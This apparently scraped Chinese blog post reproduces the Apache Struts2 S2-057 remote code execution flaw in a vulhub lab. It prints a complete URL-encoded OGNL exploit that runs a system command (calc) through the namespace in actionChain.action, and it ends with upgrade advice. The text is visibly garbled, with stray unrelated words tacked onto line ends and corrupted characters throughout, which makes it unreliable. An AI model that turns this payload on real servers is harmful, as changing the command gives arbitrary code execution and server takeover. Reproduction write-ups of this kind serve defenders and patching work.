網站安全加固之apache環境S2-057漏洞 利用POC 遠程執行命令漏洞復現

S2-057漏洞,於2018年8月22日被曝出,該Struts2 057漏洞存在遠程執行系統的命令,尤爲使用linux系統,apache環境,影響範圍較大,危害性較高,若是被攻擊者利用直接提權到服務器管理員權限,網站數據被篡改,數據庫被盜取都會發生。java

目前咱們SINE安全對該S2-057漏洞的測試,發現受影響的版本是Apache Struts 2.3–ApacheStruts2.3.3四、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已經緊急的對該S2-057漏洞進行了修復。linux

經過國外曝出來的漏洞poc,咱們來介紹下Struts2漏洞該如何的利用:數據庫

S2-057漏洞產生於網站配置xml的時候,有一個namespace的值,該值並無作詳細的安全過濾致使能夠寫入到XML上,尤爲url標籤值也沒有作通配符的過濾,致使能夠執行遠程代碼,以及系統命令到服務器系統中去。apache

咱們首先來搭建下struts2的環境,找一臺windows服務器,使用一鍵部署工具部署好測試環境,vulhub環境也搭建好以下圖:windows

接下來就是Struts2漏洞的利用與復現過程:瀏覽器

訪問網站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action安全

將${(sine+sine)}裏的內容換成exp,EXP內容以下:服務器

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action工具

複製exp內容到瀏覽器執行,發現服務器會直接運行計算器以下圖:測試

S2-057漏洞修復建議:

升級到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升級便可官方已經作好漏洞補丁,徹底兼容。

相關文章
相關標籤/搜索